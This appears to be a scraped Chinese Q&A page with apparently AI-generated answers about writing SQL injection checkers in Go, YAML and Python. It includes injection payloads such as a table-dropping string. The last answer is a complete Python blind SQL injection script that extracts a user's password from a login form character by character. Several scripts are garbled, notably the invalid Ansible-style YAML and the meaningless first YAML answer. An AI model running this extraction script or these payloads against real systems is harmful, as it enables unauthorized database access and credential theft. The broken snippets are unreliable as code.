用go语言写一个sql注入检查脚本
时间: 2023-03-15 08:22:14 浏览: 117
我不是很擅长写代码,但是我可以提供一些提示,希望能够帮助你:1. 首先,你需要学习Go语言的语法和基础知识;2. 然后,你需要熟悉SQL注入的概念;3. 接下来,你可以尝试编写一个简单的检查脚本,用来检测输入字符串中是否存在SQL注入攻击的危险;4. 最后,你可以利用Go语言的测试功能,对检查脚本进行测试和调试,以确保它能够正确地运行。
相关问题
写一个yaml格式的sql注入检测脚本
### 回答1:
答:```
---
type: "SQLInjectionTest"
script:
- command: "SELECT * FROM users WHERE username = '{username_param}'"
expected_output:
- "SELECT * FROM users WHERE username = '{username_param}' AND 1 = 1"
- "SELECT * FROM users WHERE username = '{username_param}' AND 1 <> 1"
```
### 回答2:
为了编写一个能够检测SQL注入的YAML格式脚本,我们可以使用以下步骤:
1. 创建一个YAML文件,并定义检测脚本的结构。可以使用以下示例作为开始:
```yaml
- endpoint: /api/my-endpoint
method: GET
sql_injection_payloads:
- "' OR '1'='1'"
- "1; DROP TABLE users"
```
2. 编写一个脚本,读取YAML文件,并解析其中定义的相关参数。可以使用Python的pyyaml模块实现。以下是一个示例:
```python
import yaml
def load_yaml(file_path):
with open(file_path, 'r') as f:
yaml_data = yaml.safe_load(f)
return yaml_data
def sql_injection_detect(endpoint, method, payloads):
# 实现SQL注入检测逻辑的代码
pass
if __name__ == "__main__":
yaml_data = load_yaml('sql_injection_script.yaml')
for script in yaml_data:
sql_injection_detect(script['endpoint'], script['method'], script['sql_injection_payloads'])
```
3. 在`sql_injection_detect`函数中实现SQL注入检测逻辑。根据传入的请求endpoint和method,以及SQL注入的payloads,构造HTTP请求,并发送给目标服务器。然后,对返回的响应进行检查,查找是否存在SQL注入漏洞的迹象。以下是一个简单的示例:
```python
import requests
def sql_injection_detect(endpoint, method, payloads):
for payload in payloads:
url = 'http://example.com' + endpoint # 根据实际情况替换example.com
if method == 'GET':
response = requests.get(url + '?query=' + payload)
elif method == 'POST':
response = requests.post(url, data={'query': payload})
if "SQL syntax error" in response.text:
print(f"Potential SQL injection found in {endpoint} using {payload}")
else:
print(f"No SQL injection found in {endpoint} using {payload}")
```
需要注意的是,以上示例代码仅供参考,实际检测脚本应根据具体需求进行调整和优化,以确保有效性和安全性。另外,使用脚本时应谨慎,以免误用或对目标系统造成不必要的影响。
### 回答3:
YAML格式的SQL注入检测脚本可以用于检查Web应用程序中是否存在SQL注入漏洞。下面是一个简单的示例:
```yaml
# SQL注入检测脚本
- name: SQL注入检测
tasks:
- name: 发送恶意SQL语句
request:
url: http://example.com/path/to/vulnerable/page?id='${{}'
headers:
Content-Type: application/json
register: response
- name: 分析响应
set_fact:
vulnerable: "{{ response.content | search('error') }}"
- name: 输出结果
debug:
msg: "存在SQL注入漏洞" if vulnerable else "未检测到SQL注入漏洞"
```
该脚本中使用了Ansible的YAML格式编写,用于发送包含恶意SQL语句的请求并检查响应中是否存在错误信息。具体步骤如下:
1. 发送恶意SQL语句的请求:通过`request`模块发送带有特定SQL注入payload的请求,其中`url`参数指定了目标页面的URL,`headers`参数设置请求头为`Content-Type: application/json`。
2. 分析响应:使用`search`过滤器检查响应内容中是否包含了常见的SQL错误信息,将结果存储在`vulnerable`变量中。
3. 输出结果:根据`vulnerable`的值判断是否存在SQL注入漏洞,并输出相应的消息。
这只是一个简单的示例,实际的SQL注入检测可能需要更加复杂和完善的脚本。同时,为防止误报,建议在进行SQL注入检测前先对输入进行合理的过滤和验证。
用python写一个sql盲注脚本
以下是一个基本的 Python SQL 盲注脚本,它可以用于测试 SQL 注入攻击:
```python
import requests
# 目标URL
url = "http://example.com/login.php"
# 注入参数
injection_param = "username"
# 注入语句
injection_statement = "' or 1=1#"
# 发送请求并检查响应
def check_response(response):
if "登录成功" in response.text:
return True
else:
return False
# 枚举字符
def enum_chars():
for i in range(32, 127):
injection_payload = injection_statement.replace("1=1", f"ascii(substring((select password from users where id=1), 1, 1))={i}")
data = {injection_param: injection_payload}
response = requests.post(url, data=data)
if check_response(response):
print(chr(i), end="")
# 枚举长度
def enum_length():
length = 0
while True:
injection_payload = injection_statement.replace("1=1", f"length((select password from users where id=1))={length}")
data = {injection_param: injection_payload}
response = requests.post(url, data=data)
if check_response(response):
return length
length += 1
# 枚举内容
def enum_content():
password_length = enum_length()
password = ""
for i in range(1, password_length+1):
for j in range(32, 127):
injection_payload = injection_statement.replace("1=1", f"ascii(substring((select password from users where id=1), {i}, 1))={j}")
data = {injection_param: injection_payload}
response = requests.post(url, data=data)
if check_response(response):
password += chr(j)
break
print("Password:", password)
# 枚举密码
enum_content()
```
这是一个基本的脚本,它可以枚举数据库中的密码。请注意,这只是一个简单的演示,实际上,SQL 注入攻击可能需要更复杂的技术。此外,SQL 注入是非常危险的攻击,如果您不知道自己在做什么,请不要尝试。
相关推荐
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![.zip](https://img-home.csdnimg.cn/images/20210720083646.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)